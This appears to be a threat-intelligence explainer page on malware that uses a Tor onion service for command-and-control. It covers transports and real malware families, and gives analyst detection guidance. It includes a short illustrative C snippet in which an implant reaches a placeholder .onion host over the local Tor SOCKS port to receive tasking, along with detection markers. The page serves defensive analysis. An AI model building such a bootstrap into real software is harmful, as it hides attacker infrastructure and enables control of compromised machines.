Skip to content
Command & Controlintermediate

Tor Hidden Service C2

Malware reaches its C2 through a Tor onion service, hiding the operator's real address behind the Tor network's multi-hop, encrypted relay circuits.

Tor hidden service (onion service) C2 routes tasking through the Tor network instead of a directly reachable server. The implant connects to a .onion address, and the connection is relayed through at least three Tor nodes with a layered encryption circuit, so the C2's real IP never appears in any victim-side capture. The onion address is a self-authenticating public-key hash, meaning the operator can move the back-end host freely without changing the address baked into the implant.

This buys the operator strong anonymity and resilience: there is no IP or domain to seize or sinkhole, and takedown requires deanonymizing the service rather than blocking an address. Implants reach Tor either by bundling a Tor client (or tor.dll/embedded library), by shelling out to a local Tor proxy, or by using a clearnet Tor2Web gateway like .onion.ly so the host itself never speaks the Tor protocol. TrickBot's onion modules, REvil's Tor-based payment/C2 infrastructure, and OnionDuke all leaned on this design.

For an analyst the task is to recover the onion address and the transport — embedded Tor client versus SOCKS proxy versus Tor2Web gateway — because each leaves a very different network fingerprint to hunt on.

How it works

The implant opens a SOCKS connection to a local or bundled Tor client and asks it to resolve and connect to a hard-coded .onion host:

c
// Illustrative Tor C2 bootstrap — descriptive, not deployable.
// Traffic is handed to a SOCKS5 proxy that speaks Tor.
void tor_c2_connect(void)
{
    int s = tcp_connect("127.0.0.1", 9050);        // local Tor SOCKS port
    socks5_handshake(s);
    // Tor resolves the .onion via the SOCKS CONNECT request itself
    socks5_connect(s, "xmpl...onion", 443);        // 56-char v3 onion addr
    https_over_socket(s, C2_REQUEST);              // tasking, end-to-end TLS
}

Tells for a reverser: a hard-coded 16-character (v2) or 56-character (v3) base32 .onion string, a connection to 127.0.0.1:9050/:9150 (Tor's default SOCKS ports), an embedded Tor binary or libtor, or a clearnet hostname ending in .onion.ly/.onion.to indicating a Tor2Web gateway. The onion address and the SOCKS port are the two strongest static markers.

Detection & analysis

Static analysis:

  • Recover the .onion address (v3 addresses are 56 base32 characters plus .onion) and any embedded Tor client, configuration, or bridge lines. The onion string is the C2 identity; bundled Tor binaries or tor.dll confirm the host will originate Tor traffic directly.
  • Identify the transport. A SOCKS5 handshake against 127.0.0.1:9050/9150 means the implant relies on a local Tor process; a hostname ending in a Tor2Web suffix means it tunnels through a public gateway over ordinary HTTPS and will not show Tor protocol on the wire.
  • Pull any hard-coded bridge or guard-node configuration — these reveal how the implant bootstraps onto Tor and can be matched against public Tor relay lists.

Dynamic analysis:

  • Detonate with full capture. A bundled-Tor implant produces the unmistakable Tor bootstrap: TLS connections to IPs on the public Tor directory/guard list, characteristic 514-byte cell padding, and a TLS handshake whose JA3 matches known Tor client fingerprints. Tag any destination that appears on a current Tor exit/guard/relay list.
  • For Tor2Web variants, watch for HTTPS to gateway domains (*.onion.ly, *.onion.to, *.tor2web.*) — these expose the onion address in the SNI/Host header even though no Tor protocol is used.
  • Watch for a local listener on 9050/9150 spawned by the malware itself, indicating an embedded Tor client rather than a system one.

Detection rule hint:

Flag outbound connections from non-browser processes to IPs present on current Tor guard/relay/exit node lists, connections to 127.0.0.1:9050/9150 from unexpected processes, or HTTPS with SNI matching Tor2Web gateway suffixes (*.onion.ly, *.onion.to) — a workstation originating Tor circuits or routing through an onion gateway, when no user-facing Tor browser is installed, is the defining marker of Tor hidden-service C2.

Votes

Comments(0)